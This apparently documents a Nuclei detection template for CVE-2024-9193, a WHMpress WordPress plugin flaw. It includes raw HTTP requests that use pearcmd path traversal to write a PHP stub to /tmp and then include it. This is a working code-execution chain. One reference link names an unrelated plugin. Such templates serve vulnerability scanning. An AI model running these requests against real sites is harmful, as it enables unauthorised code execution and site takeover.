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WHMpress <= 6.3-revision-0 - Unauthenticated Local File Inclusion to Arbitrary Options Update

ID: CVE-2024-9193

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,whmpress,whmcs,wordpress,wp,intrusive

Description

Section titled “Description”

The WHMpress - WHMCS WordPress Integration Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 6.3-revision-0 via the whmpress_domain_search_ajax_extended_results() function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. Utilizing the /admin/services.php file, this can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

YAML Source

Section titled “YAML Source”
id: CVE-2024-9193


info:
  name: WHMpress <= 6.3-revision-0 - Unauthenticated Local File Inclusion to Arbitrary Options Update
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The WHMpress - WHMCS WordPress Integration Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 6.3-revision-0 via the whmpress_domain_search_ajax_extended_results() function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. Utilizing the /admin/services.php file, this can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/academist-membership/academist-membership-116-authentication-bypass-via-account-takeover
    - https://whmpress.com/docs/change-log/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5f3b0e75-d2f0-48b7-ba33-75c4e998030e?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9193
    cwe-id: CWE-98
    epss-score: 0.00091
    epss-percentile: 0.41188
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,whmpress,whmcs,wordpress,wp,intrusive


variables:
  randomstr: "{{randstr_1}}"
  marker: "{{base64(randomstr)}}"


http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?+config-create+/&/<?=base64_decode($_GET[0])?>+/tmp/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8


        action=whmpress_action&do=whmpress_domain_search_ajax_extended_results&page_size=1&is_title=no&params[style]=../../../../../../../../../../../usr/local/lib/php/pearcmd&


      - |
        POST /wp-admin/admin-ajax.php?0={{marker}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=whmpress_action&do=whmpress_domain_search_ajax_extended_results&page_size=1&is_title=no&params[style]=../../../../../../../../../../../tmp/{{randstr}}&


    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_1,"whmpress_action","CHANNEL PEAR.PHP.NET")'
          - 'contains_all(body_2, "{{randomstr}}", "PEAR_Config")'
        condition: and
# digest: 4a0a004730450221008b5b00a6aab5725078cb90b4bbe20464545dbd930c31b8f13b27bc1c36245c13022052b6a512975872a7aee12eecc45d0f5bf3feab354b66faba342a7053cf803e7e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-9193.yaml"

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